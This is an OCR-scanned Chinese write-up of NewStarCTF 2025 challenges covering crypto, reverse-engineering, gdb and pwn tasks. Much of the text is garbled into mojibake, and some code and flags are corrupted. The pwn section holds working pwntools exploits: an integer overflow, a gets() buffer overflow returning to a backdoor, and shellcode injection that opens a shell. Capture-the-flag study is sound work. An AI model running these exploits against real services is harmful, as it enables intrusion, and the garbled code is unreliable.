Congratulations, you answered all the questions correctly! Mysterious Flag:flag{Go®d_jeb_t6_Cl34r_thi5_Diff3r3nt_t45k_4_u
}
D:\PiYuanZhouLv\s1\NewStar2925>D I

(£ BRWRERF: &: nc EENITERT)

flag{Go0d_jOb_t0_C134r_thi5_Diff3r3nt_t4a5k_4_u}

*L R, BRERNEN, NBRiEEEE Y TREARRE, FTA&
TR ERE(ged(a, b), ged(a, b))~

® [Crypto] #1iR RSA
3K key B91E:

47 key (9K Ef md5, " WLH hashcat &%, {EARERT, =
MD5 BEAFE M3t EiE—1%, HABE https://md5.s0/ (BERAS
WP BYBHZEMSEXE Y, # T —A:

https://www.cmd5.com/default.aspx)



https://md5.so/
https://www.cmd5.com/default.aspx

5aedb7f211e23aac3df5f2b8f3b8eada
EE ad [FEEN]
£if mE

iR
crypto

53| key=b'crypto’

P=p"(bytes_to_long(key))

BETEKE p = P bytes_to_long(key)
B2lg=n//p

Kom) = () x 9(q*) = > —p*) X (¢* — )
HHd=e" (modpn))

&Em = c*modn

SEEREMNRAD:

from Crypto.Util.number import *
import gmpy2

key = b'crypto' # search on md5.so

p = bytes_to_long(key) ~ P
q, ok = gmpy2.iroot(n//p//p//p, 2)




assert ok

phi=p*p* (-1 xqg=*(q-1)
m = pow(c, pow(65537, -1, phi), n)

print(long_to_bytes(m))

flag{W31lcOme_t0_4h3_wOrl4_0f_Cryptoooo!}
® [Crypto] FEMEKZ K 1
hint;.; = (a X hint; + message;,;)mod p -+ (*)
. hint; — a X hint, = message;,; (mod p)
w0 <messagej,: <p
~ (hint; — a X hinty) mod p = message;,;

RN

from Crypto.Util.number import long_to_bytes
a=...

p=...

hint = [..., ...] # FEEET

print (long_to_bytes((hint[1]-hint[0]*a)%p))

flag{c3bc3ead-01le3-491b-aa2d-d2f042449fd6}

® [Crypto] Sagemath 1 F 35wk ?

TR/ AM, A Sage miAT ({EZ Sage EEXEF QxQ)




REAZFE Docker:---

key=1

G = PSL(2, 11)

key*=G.order()

G = CyclicPermutationGroup(11)
key*=G.order()

G = AlternatingGroup(114)
key*=G.order()

6 = MathieuGroup(12)
key*=G.order()

€=9155085428400257225204588361081123089247424244648721711708891749838188012046397534151231852778095499011

key=(int(str(bin(key))[2:][8:42*8],2))
m=c*"key
f=
while m>8:
x=m¥%256
£.append(chr(x))
m//=256

flag="".join(i for i in f )
print(flag)

' flag{eld2de8c-7e7d-43ed-bSad-af51ffcS12ee}

flag{el42d08c-7e7d-43ed-b5ad-af51ffc512ee}
® [BkEX] [CrylFENFZAK 1.3
R 09 = AL B R S A 3X B~
Aol —MHHNAR, RAREKRFaT
hint;,; = (aX hint; + message;,;)modp -+ (%)

. hint; — a X hint, = message;,; (mod p)

~ hint, — a X hint, = message;,; (mod p)
R E
. hint, — hint, = a X (hint, — hint,)(mod p)
~ a = (hint; — hint,) X (hint, — hint,)~*(mod p)

mTagpAEMARMN



B {(hintl — hint,) X (hinty, — hint;)"* mod p a<p
~ (hint; — hint,) x (hint, — hint)) *modp+p a=p

ETHA a BXBF LA is_prime Bk (REE$HERET)
BETRfm1pg—FT~

EARAG

from Crypto.Util.number import long_to_bytes

p= ...
hint=[..., ..., ...] # 330FY

delta = [(hint[i+1]-hint[i])%p for i in range(2)]

(pow(delta[@], -1, p)*delta[l]) % p
(hint[1] - hint[0]*a) % p

QD
1

3
1

print(long_to_bytes(m))

flag{3ea753dc-8d46-41f7-bbab6-e828c0253831}
® [BkEX] [CrylBENZZ K 1.9
Fn1.3MR%, EEpHEET Q°Q
hint;,; = (a X hint; + message;,;)modp - (%)
~ hint;,, — a X hint; = message;,; (mod p)

. hint;,, — a X hint;,, = message;,; (mod p)




A E
. hint; ., — hint;,, = a X (hint; — hint;,,)(mod p)
BE—1
a X (hint;,, — hint;,,) = hint;,, — hint;, 5 (mod p)
MRAER (v ged(a,p) =1+~ a ' (mod p) I, TRALHE)
(hint;.; — hint;,,)?
= (hint; — hint;,,) X (hint;,, — hint;,3) (mod p)
ot 2
(hint; ., — hint;,)? — (hint; — hint;,,) X (hint;;, — hint;;3)

= ki Xp

FIXE— N RERRITT, EESBOEEREN, MRS RE
ged 477 (RRABMBEAB/NEEK, TiE—mfENZEE

is_prime), REMEK 1.3 7

EARAG

from Crypto.Util.number import long_to_bytes
import gmpy2
hint = [...] % 16 # (RN, TRER LT~

delta = [(hint[i+1]-hint[i]) for i in range(15)]

p = gmpy2.gcd(*[abs(delta[i]*delta[i+2] - delta[i+1]**2)
for i in range(13)1)




assert gmpy2.is_prime(p)

(pow(delta[@], -1, p)xdelta[l]) % p
(hint[1] - hint[B]*a) % p

print(long_to_bytes(m))

flag{513a05ef-cab4-4e94-af25-a893da4s221fe}

® [re] Strange Base

LI b64 AR, RIAFEFR

char *__cdecl base64_encode(const unsigned __int8 *bindata, char *base64, int binlength)

{

in
in
in
in
in
un
un
in
in
in
in

h

- E O He

t j_1; // eax

t vd; // eax

t ja_l; // eax

t ve; // eax

t v7; // eax

signed __int8 current; // [rsp+7h] [rbp-9h]

signed _ int8 currenta; // [rsp+7h] [rbp-9h]
t j; // [rsp+8h] [rbp-8h]
t ja; // [rsp+8h] [rbp-8h]

t jb; // [rsp+8h] [rbp-8h]

t i; // [rsp+Ch] [rbp-4h]

= B’

= 6;

ile ( 1 < binlength )

1 =17;

ja = 3+ 1;

base64[i_1] = aHelloACrqzyB4s[(bindata[i] >> 2) & @x3F];

current = (16 * bindata[i]) & ex3e;
if ( binlength <=1 + 1)

base64[ja] = aHelloACrqgzyB4s[current];

hacagdAl+4a + 11 - &A1~

WFH B, FEIRIXATH basebsd ERMEL LT T

~a:0000000140004000 aHelloAerzyBﬂs ab 7HE1L0!A=Cery-B4SS|is‘,27h,‘waITtlng&YBu“{/(>v<)*}GO~256789quWXV‘

a:eooe0eelieeedece ; DATA XREF: base64_encode+41To
a:0000000140004000 ; base64_encode+8CTo ...
a:000000014000403B db 'KINMF',®

a:0000000140004041 align 8

3, FREEEHE, TEERA o, PREAA0x27(')! &L
BIF% 2 Shift+E k& (B8, 387 89E2% QAQ)




¥ Export Plus: Export Data X

Selected address . rdata:0000000140004000 W
! Selected Length 0x40 %
Selected Data ) 50 71 57 58 56 4B 4A 4E 4D 46
Data Type String literal -
I Export As String ™

Export Format:

Export Window

HElLo!A=CrQzy-B4S3|is'waITtlng&Yeu~{/(>v<)*}
GO~256789pPqWXVKINMF

Line:1 Column:1

Export File Path jtrangse Base\export_results. txt -

Export Cancel

Base16 Base32 Base58 Base62 Baseb4 Base85 Base91 JRiS/FRFD

T>6uTqOatL39aP!YIgruyv(YBA!8y7ouCa9=

s || me |

RIBED:  Basef4 v FRYEES:  UTF-8 - Pl H 425 ‘

43183  HEILolA=CrQzy-B4S3|is'walTt1ng&Y0ur/(>v<)}GO~256789pPqWXVKINMF

flag{Wh4t_a_cra2y 8as3!l]



flag{Wh4at_a_cra2y_8as3!'!!}
® [re] XOr
ARAEDAR 5] B2

flag KE R 24

if (i1 ==24)
{
Sk 0x141145, FAHFAF2Ox314534—%)—
for (1 =0; 1 < 1 1; ++1i )
{
if (i%3)
{

if (1%3==1)
Stri[i] ~= ex1llu;
else
Stri[i] ~= ex45u;
}

else

v5[e] = 19;

v5[1] = 19;

v5[2] = 81;

for ( 7] =@; 7 < 1 1; ++7 )
stri[§] ~= V5[ % 3];



if ( !stremp(Stri, Str2) )
puts(“Right flag!");

else
puts("Wrong flag!");
return ©; |

54— Python @52 RF (RAE 147, ¥sEE)

''.join([chr(ord(c)"{0: 0x14719, 1: 0x117M9, 2:
Ox45781}[i%3]) for i, c in
enumerate("anu” ym7wKL1$P]v3g%D]1Hpi") 1)

'*.join([ (¢ (c)"{0: 6x14°19, 1: 0x11719, 2: OxuU5~81}[i%3]) e ("anu’ym7wKL1$PIv3q%D] lHpi"
D)

'flag{yOu_KnOW_bus1C_xOr}"'

flag{yOu_KnBW_b4s1C_x0r}

® [re] Puzzle
MERRFFLE, 3N Puzzle_Challenge, &3 flag £ —E

Source = "Do_";
You_ = "Yeu_";
strcpy(Destination, "Do_");
strcat(Destination, Yeu );

flag{Do_YOu_

EAMZRANTIENREK, LEEE =y, TANRETRXRE

=ika

f| WinMainCRTStartup . tes
' f | mainCRTStartup . tes
f|atexit . te
T __gee_reglister frame . tes
f|__gcc_deregister frame .tes
[f] Like_This_Jig . tes
' f | Its_about_part3 . tes
' f | Puzzle_Challenge . tes
f | main . te
' f|__do_global_dtors . tes




flag{Do_YOu_Like_7his_Jig

# A Its_about_part3

printf("You can use shift+e to extract the data.");
ng = 8;

ng_1 = 8;
for (1 =9; 1 < n8 1; ++1 )
vl[i] = encrypted_array[i] ~ ©xAD;
n8_2 = n8_1;
vi[ng 1] = @,

return ng 2: |
EoRER Shift+E #EBREHEE (M, #®EX), EEHELE
S, BEFERMBENE

eﬁcr‘yptec'__' T T T
/ *=, Add breakpoint F2

=2?5 Synchronize with 4
o & Copy Ctrl+C

Rename global item... N

Set item type... Y

Jump to xref... X

Edit comment... /

Edit block comment... Ins

Hide casts \

[hrt] Decrypt string D

[hrt] Create MSIG for the function




€% [hrt] Decrypt string X

Algo

C) Rol (rol val, key)

(D Add (res = val + key)

(D) Sub (res = key — wval)

© Xor (res = val = key)

(O Mul (res = val * key)
Cnt ﬂxﬂ8| e
Key AD ~
IV iy

Mode

ECB CBC
1 ‘ 0K Cancel J

ﬁ [hrt] Decryption result is X
s@w_puzz
[Patch at 140003000|  Comment Cancel

flag{Do_YOu_Like_7his_Jigs@w_puzz

=3 E R, BER Shift+Fl12 BEFA LS

Address Length Type String
.rdata:0--- 00000008 C

RERE 2



flag{Do_YOu_Like_7his_Jigs@w_puzzle_Gam3}
® [re] EzMyDroid

R jadx 3TFF.apk X, &I FirstFragment E@mA—/" AES
Ao

RBR
#H

, Nizwz flag

2fF

om oM IA T el P & 3t = o
(<] Q L. L 18/ m F
app-release.apk £ MainActivity %, SecondFragment ¥, FirstFragnent
CEN
o package mork.pangbai.eznydroid;
~COROUTINE import android.os.Bundle;
android. support.v import android.util.log;
androddx import android.vien.Layoutinflater
import android view View
com.google import android.view.ViewGroup;
kotlin import android.widget.Toast;
kotlinx. coroutine import android.fragment.app.Fragnent;
. import work.pangbai.ezmydroid.databinding. FragnentFirsteinding;
work. pangba . ezmy asiR
databinding public class FirstFragment extends Fragment {
& AESECBUtils private FragmentFirstBinding binding
%, FirstFragment
z androids. éraguent. app. Fragment
& AnonymousClas public View onCreateview(LayoutInfl layoutInflat vienGroup viemGroup, Bundle bundle) {
fs binding FragnentFirst8inding fragmentFirstBindingInflate = FragmentFirstBinding.inflate(layoutInflater, viewGroup, false)
% FirstFragnent this.binding = fragmentFirstBindingInflate;
& access$800(Fi roturn fragnentFirsteindingInflate.getRoot();
% onCreateView( }
onDestroyVien

% onViewCreated
# MainActivity

&R
& SecondFragment

androids. r
public void onviemcreated(view view,
super . onVienCreated(vien, bundle);
this.binding. checkFlag. setonClickListener(nen Vie

agnent
Bundle bundle) {

onClickListener() {

and ew. View.OnClickLister
public void onClick(Vien view2) {
& AnonymousClas try {
% binding ¢ strencrypt = AESECBUtils.encrypt(FiRSERFagRent . this .binding. input.getText().tostring(),
result”, strEncrypt)
& SecondFrageen CatrEnceypt. eotata( e T 2pONLBFRNFLIIXF 5268 J8sqLkve ) 1
. onCreateVien( Toast.nakeText (FAFSEFFAREN . this .getContex RY 1) show();
#, onDestroyVien }oelse {
% onVienCreated Toast nakeText (FiFstFragnent. this .getContext(), "Wrong ).show();

} catch (£x n unused) {
}

APK signature
[ Sunmary

public void onDestroyvieu(
super .onDestroyVien()
this.binding = null;

R
A

{£ A Python f#

from Crypto.Cipher import AES
import baseb4
cipher = AES.new(b"1145141919810000", AES.MODE_ECB)

cipher.decrypt(baseé4.bbé4decode (' cTz2pDh18FfRMfkkIXFqs2t8
JIBsqLkvQZDLYpWjEtKLE="))

VA=!
=

3| flag (A ARF T padding)
flag{@_g00d_st@r7_f0r_ANDROID}
® [re] plzdebugme

HERT, NEHH




%Bmgdb (WiFITL£ET, RIEWER)

gdb plzx*

RAEFF S @ B3R E XOr E TR =

b x0Or

N

[N

ﬁN

EATE|R E]

finish

7£ RCX #X 7| flag

0x20
OxTFffffffdbc8 —» OxT7Ffffffffde96 <«— '/mnt/d/PiYuanZhoulv/s1/N¢

- 'flag{It3_D3bugG_Tllme!_le3_play}'

DX L 1) <= OxTdn/*% %} k/
Ox 25182a36303d37

0x20

OxT7HffHfffd630 <« 0x4511144511144511

flag{It3_D3bugG_T1lme!_le3_play}

R BB flag =T LA x/p A

x /s flag = p flag

pwndbg> x /s flag
Ox555555559060 <flag>: "flag{It3_D3bugG_Tllme!_le3_play}"

pwndbg> p flag
= "flag{It3_D3bugG_Tllme!_le3_play}"




® [pwn] GNU Debugger

RIE AR P IS R

[:f(python—venv)(fl ) LAPTOP-ICPUJCOI)~[/mnt/d/PiYuanZhoulLv/s1/NewStar2025/[pwn]gdb_challenge]
/gdb_x*ge
#%M\mnqw<ﬁu>ﬁ%ﬁ%,E*mﬂﬁuﬁﬁﬁ%@%%ﬂmm

HEE RG] run 127.0.0.1 7777iHH

HEHE R ctrl + c Wi FFiER HH
pwndbg [

Reading symbols from ./gdb_challenge ...
(No debugging symbols found in ./gdb_ challenge)
set sho ips off
Use the vmmap command for a better & colored memory maps display (than the GDB's info proc mappings)
run| 8.147.134.121 28860

#—%, BEHRI R12 B{E, Ctr1+C, #k%:3z47(c), Ctrl+V

E]_—E';é_t 1: BRTE ---
&ET NRENEE 'r12'SEEEEE, (RULAEBGBHN AE—RTEB?
& r1209 163 HI{E ?JEE'E'FC(contlnue)EE FRERD!

ed signal SIGTRAP, Trace/breakpoint trap.

: STACK |

ags off / show-compact-
Oxd6ddaaca39lalc2f
Ox46d4aaca®@OOO0OO
0x7 ra 2) <— 0x8da955949fel178d8

)4) <«— Ox44558cbU88767115

4 0xcobaa700391alc2f
— Ox4U558cbU88767115

) <= Ox4u4558cbu88767115

Oxffffffff
Oxud6ddaaca39lalc2f
0x7fffffffdc08 -> 0x7fffffffdf27 <«— 'SHELL=/bin/bash'
rt g ) 0 —» Ox555555554000 <«— 0x10102464cU57F

Bk, #FH X

x /s 0x555555557¢c27

FJ__E';E_E 2: MIRTE

XXBRFE, RET—Q9IEEENBITE .

B SIFEMX NS EBEQWQ — 0x555555557c27
BREEENMRRAA. KB THZKX TFclcontinue) RFIFHREBZRIE!




pwndbg> x /s 0x555555557¢c27

Ox555555557¢27: "GDB_IS_POWERFUL"
F=%, EEMEFESD, RECHRMEFT

b *0x555555555779

F]"%*‘E 3: MBTE —

B, ERFTPEIAYBEART, BNS EERE—%X0PR! RNSMEM, BB Tx!

WMERIGREIMEMBAYIE, ARG IEREERMET -

ILBETRERPRZE, BT —RIBPREEIR, RAEBRETHAERNNIRER. TEFTERBER, FEREBXARE

@S FRXNPREE - 0x555555555779

pwndbg> b *0x555555555779
Breakpoint 1 at 0x555555555779

FEE, KAE (RZER), ER DS

p *Ox7fffffffd984=0xdeadbeef

-— Xk 4: NPETEHE --—-

ﬁgﬁ}: X7, BTHREEE, EEARABTEESRNIET .

AR "(&*(... ¥ *&¥ #] ¥ &..x&:&1Q¥ #' EREF 1 A BEREIXNE—HLFEE oxdeadbeef N
RENEERAE RIS, FEGBE — NS AKRIINEE, BATLA*&¥ &@3u#! 2.

s &I$HE — OXTFFFFFFFI8U .x&

pwndbg> p *Ox7fffffffd98U=0xdeadbeef
= -559038737

- [ . _
>¥: -559038737 B Oxdeadbeef | & &= o X
= ERFR
Bo%s:, ®Ee3 flag i~
pwndbg> ¢ DEAD BEEF
Continuing.
ASEFTAME. . | HEX DEAD BEEF
[*] Eitfglirjyﬂgﬂsec%ity proto;ols DEC  -559,038,737
[+] HAR ERIEIEM—APUNS F T8
[+] FLAG : ﬂzg{9edc3l7u9—d'?70a—uuea—91f3—11b@f392d@79} OCT 33653337357
BIN 1101 1110 1010 1101 1011 1110 1110 1111
flag{90dc3749-d70a-446a- . v ,
ce DWORD MS M~

91f3-11b0f392d079}



® [pwn] INTbug

RiEEE, MIZEEZERGH, #S¥R—T

unsigned _ inté4 func()

{
__inti6 v1; // [rsp+2h] [rbp-Eh]
int v2; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = _ readfsqword(@x28u);
Bk = O;
while ( 1 )
{
vZ = 8;

__1s0c99_scanf(&unk_2e08, &v2);
if ((v2 <=0 )

break;
if ( ++vl < @ )
{
puts(“You got it!\n");
system("cat flag");
¥
¥
puts(”"You can only input positive number!\n");
return v3 - _ readfsqword(8x28u);

}

EIMEMAN—RA intl6 vl in—, FrUlEA21° = 32768°K%h

WY, ERAD:

from pwn import *
context(arch="amd64', os='linux', log_level='debug')
io = connect("ip", port)

for i in range(32768):
io.send(b'1\n')




io.interactive()

[*] Switching to interactive mode

[DEBUG] Received @xlc bytes:
b'welcome to NewStarCTF2825!\n’
b*'\n"

welcome to NewStarCTF2025!

[DEBUG] Received @xc bytes:
b'You got it!\n°’

You got it!

[DEBUG] Received ©x2c bytes:
b'\n"
b'flag{8b5d9a79-6840-44cc-9484-adbe6507cdd7}\n"

flag{8b5d9a79-6848-44cc-9484-adbe6507cdd7}

R £3| flag
flag{8b5d9a79-6840-44cc-9484-adbB6507cdd7}

® [pwn] pwn's door

Proomrre oy e 73

__1s0c99_scanf("%d", &n7038329);

if ( n7038329 == 7038329 )

{
puts(“"You have successfully opened the door!");
puts(“"please try the command 'cat flag' to get the flag.");
system("/bin/sh");

}

=T ==

ZR/, nc REMA 7038329 %t getshell T



$ nc 47.94.87.199 28925
ou have successfully seen the door with the help of cat or python!
And you find that you need a key to open the door.

password: 7038329

ou have successfully opened the door!

please try the command 'cat flag' to get the flag.
at flag
lag{2uc8albe-a9el-Ue72-a3ud-430119449b5e}

W, /A cat flag #45 flag

flag{24c8albe-a%9e4-4e72-a34d-430119449h5e}

® [pwn] overflow
RS M, RI—NLRBEHF—NET]

boid _ cdecl try()

{
char buffer[256]; // [rsp+8h] [rbp-186h] BYREF

memset(buffer, @, sizeof(buffer));

puts(“"Now,Try to exploit it as I done and get the shell!");
puts("Enter your input:");

gets(buffer);

void _ cdecl backdeer()
{

puts(“Congratulations! You have found the backdoor!");
puts("You can now execute any command you want.");
system("/bin/sh");

¥

FrA REH# N 256bytes M3k kiE+8bytes Uk Iz (CGER
rbp) +8bytes ByREHHE (backdOOr 3hht) ®IFT, LEMRAD:

from pwn import *



context(os="1inux', arch='amdé4', log_level="'debug')

io = connect('ip', port)

backdoor = 0x401200
ret = Ox401016

io.send(cyclic(256)+p64(0)+pb4(ret)+pb4(backdoor)+b'\n')

io.interactive()

B ZIZBENA XA EOF 7, RIZERZAERNSWRE, n—
N ret (GBid ROPgadget #X) BAETAXNFT

ROPgadget --binary overflow --only "ret"
Gadgets information

Ox0000000000401016 : ret

There is a glitch in this program that allows you to overflow the buffer.
Let me show you a sample of how it works:
This is the address of the backdoor function: @x4@1234
Then fill the buffer with the trash and fill the return address with the address of the unexcuted function.
This is a function that is not supposed to be executed.
Now,Try to exploit it as I done and get the shell!
Enter your input:
Congratulations! You have found the backdoor!
You can now execute any command you want.
$ cat flag
[DEBUG] Sent ©x9 bytes:
b'cat flag\n'
[DEBUG] Received ©x2b bytes:
b'flag{192c382c-9d38-4447-9217-34d6ce6829c8}\n"
flag{192c382c-9d38-4447-9217-34d6ce6829c8

Ih&3| flag

flag{192c382c-9d38-4447-9217-34d6ceb829c8}




® [pwn] input_function
WIEH L, NiZEME shellcode BT, LFHSHE—T

buf = mmap((void *)ex114514, exleeeulLlL, 7, 34, -1, eLL);
puts(“please input a function(after compile)");

read(@, buf, @x5eeuLL);

((void (*)(void))buf)();

BEE, BRAAER T EMHL4RR, BEVR/XZTUT, ATH
&, =TLU#EHR pwntools # shellcraft, EARF:

from pwn import *

context(os="'1inux', arch='amdé4', log_level='debug')

io = connect('ip', port)

io.send(asm(shellcraft.sh()))

io.interactive()

getshell~R 534 flag




[¥] Switching to interactive mode
[DEBUG] Received ©x27 bytes:
b'please input a function(after compile)\n’
please input a function(after compile)
$ cat flag

[DEBUG] Sent ex9 bytes:
b'cat flag\n'’
[DEBUG] Received ©x2b bytes:
b'flag{31f95461-af5d-44ba-ae60-3f326ffe585b}\n"
flag{31f95461-af5d-44ba-ae60-3f326ffe585b}

flag{31f95461-af5d-44ba-ae60-3f326ffe585b}



